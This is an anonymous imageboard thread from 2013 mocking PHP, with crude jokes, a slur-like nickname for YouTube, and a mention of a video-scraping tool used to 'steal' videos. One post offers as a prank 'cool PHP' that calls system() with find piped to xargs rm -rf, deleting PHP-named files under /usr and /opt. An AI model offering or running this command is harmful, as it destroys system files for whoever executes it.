COOL PHP

Show me some really cool small php  !

<?="Get the fuck out";?>

There is no real cool PHP.  It's all really really bad.

I made a Jigokutsushin page once, just to learn the basics. What I really learned is that PHP sucks.

Most of the PHP code I've written (few dynamic websights) worked fine and was mostly easy to write, but it made me hate myself for writing it. I don't really understand why would anyone choose to write PHP leisurely unless they really knew no better languages. I've even once laid eyes upon the code of a profressional PHP web developer, I could not close that file sooner.

I once made a scrapper for some local humor website and jewtube combined that'd let me steal the vydea and get its original title in english.
I was all about SEO you see.
But then I stopped using it because my computer was smelling like shit all the time. Then I switched to JSP

I code PHP for beans ａｎｄ　Ｉ　ｆｅｅｌ　ｋｉｎｄ　ｏｆ　ｂａｄ　ａｂｏｕｔ　ｉｔ．　　：（

<?php
system('find /usr /opt -name '*php' -print0 | xargs -0 rm -rf);

What is with people piping find to xargs?  Do you know what find does??  It doesn't need a fucking xargs!!!

>>9
find was explicitly designed to work well with xargs, and the use in >>8 appears in the man pages of both.

``An Anus for an Anus leaves the whole world Haxed.''

~ >>17

14 Name: Anonymous 2013-01-18 23:02

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